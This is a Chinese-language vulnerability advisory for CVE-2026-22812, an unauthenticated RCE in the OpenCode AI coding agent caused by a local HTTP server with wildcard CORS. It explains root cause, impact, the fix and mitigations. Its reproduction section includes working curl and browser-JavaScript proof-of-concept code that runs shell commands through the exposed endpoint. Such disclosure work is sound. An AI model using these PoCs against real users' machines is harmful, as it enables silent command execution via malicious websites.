OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析
一、漏洞概述
1. 基本信息
A. 漏洞编号
CVE-2026-22812、GHSA-vxw4-wv6m-9hhh
B. 影响产品
OpenCode(开源 AI 编码代理工具)
C. 漏洞类型
未认证远程代码执行(Remote Code Execution, RCE)
D. 严重程度
CVSS 3.1 评分:8.8(高危)
CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
E. 公开时间
2026 年 1 月 12 日
2. 漏洞描述
OpenCode 在 1.0.216 版本之前,会自动启动一个未经身份验证的 HTTP 服务器。该服务器配置了过于宽松的 CORS(跨域资源共享)策略,允许任意来源的跨域请求。攻击者可以通过两种方式利用此漏洞:
- 本地进程直接向服务器发送恶意请求
- 诱导用户访问恶意网站,通过浏览器向本地服务器发送跨域请求
成功利用后,攻击者可以以运行 OpenCode 的用户权限执行任意 shell 命令。
3. 影响范围
A. 受影响版本
OpenCode < 1.0.216
B. 修复版本
OpenCode >= 1.0.216
二、技术分析
1. 根本原因
A. 未认证的 HTTP 服务器
OpenCode 启动时会自动创建一个 HTTP 服务器(默认监听端口 4096+),该服务器没有任何身份验证机制。关键代码位于 cli/cmd/tui/worker.ts:36,通过 Server.listen() 启动服务器。
B. 危险的 API 端点
服务器暴露了多个高危端点,无需认证即可调用:
POST /session/:id/shell
功能:执行 shell 命令
位置:server.ts:1401
参数:agent(代理类型)、command(要执行的命令)
POST /pty
功能:创建交互式终端会话
位置:server.ts:267
GET /file/content?path=
功能:读取任意文件内容
位置:server.ts:1868
C. 宽松的 CORS 策略
服务器使用默认的 CORS 配置 .use(cors()),这会设置 Access-Control-Allow-Origin: *,允许任何网站向本地服务器发送跨域请求。
2. 漏洞原理
A. 攻击链路
graph TB
A[攻击者] --> B{攻击方式}
B -->|本地攻击| C[恶意进程]
B -->|浏览器攻击| D[恶意网站]
C --> E[http://127.0.0.1:4096]
D --> F[浏览器跨域请求]
F --> E
E --> G[POST /session/:id/shell]
G --> H[执行任意命令]
H --> I[获取用户权限]B. 本地攻击场景
任何本地进程(如恶意 npm 包、被感染的应用程序)都可以直接向本地 OpenCode 服务器发送请求执行命令。由于服务器没有认证机制,攻击者可以直接调用危险端点。
C. 浏览器攻击场景
恶意网站可以利用浏览器向本地服务器发起跨域请求。由于 OpenCode 服务器配置了宽松的 CORS 策略,浏览器不会阻止这些请求。
3. 漏洞复现
A. 本地利用 PoC
API="http://127.0.0.1:4096"
SESSION_ID=$(curl -s -X POST "$API/session" \
-H "Content-Type: application/json" \
-d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" \
-H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txtB. 浏览器利用 PoC
恶意网站可以嵌入以下 JavaScript 代码:
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
agent: 'build',
command: 'id > /tmp/pwned.txt'
})
});
});注意事项:
Firefox 浏览器可以直接利用
Chrome 142+ 版本可能会提示本地网络访问权限
三、影响分析
1. 攻击向量
A. 本地进程攻击
任何运行的恶意软件都可以利用此漏洞获取用户权限执行命令。
B. 驱动下载攻击
用户访问恶意网站时,网站通过浏览器向本地 OpenCode 服务器发送请求,静默执行恶意命令。
C. 内网横向移动
如果 OpenCode 使用 --mdns 标志启动,服务器会绑定到 0.0.0.0 并通过 Bonjour 广播,攻击面扩大到整个本地网络。
2. 潜在危害
执行任意 shell 命令
读取任意文件内容
创建交互式终端会话
获取用户级别的系统权限
进一步提权或部署后门
3. 攻击难度
利用难度:低
无需认证
PoC 代码简单
无需用户交互(浏览器攻击)
四、修复方案
1. 官方修复
OpenCode 团队在 1.0.216 版本中修复了此漏洞,主要改进:
限制 CORS 允许的来源
添加身份验证机制
移除或保护危险端点
2. 升级建议
所有 OpenCode 用户应立即更新到 1.0.216 或更高版本:
npm update -g opencode-ai@latest或从官方发布页面下载:
https://github.com/anomalyco/opencode/releases
3. 临时缓解措施
如果无法立即升级,可以采取以下措施:
停止运行 OpenCode
使用防火墙阻止端口 4096 的入站连接
不要在浏览网页时运行 OpenCode
五、安全启示
1. 本地服务安全设计原则
本地服务不等于安全服务
必须实施严格的身份验证机制
限制 CORS 策略为必要的来源
2. 开发安全建议
避免在本地服务中暴露高危功能
如果必须暴露,务必添加认证
审查所有 API 端点的安全配置
3. 用户安全意识
开发工具同样存在安全风险
及时更新到最新版本
不要在浏览网页时运行不必要的开发工具
六、时间线
2025-11-17:研究者通过邮件向 support@sst.dev 报告漏洞
2026-01-12:漏洞公开披露,同时发布修复版本
2026-01-13:CVE 编号分配(CVE-2026-22812)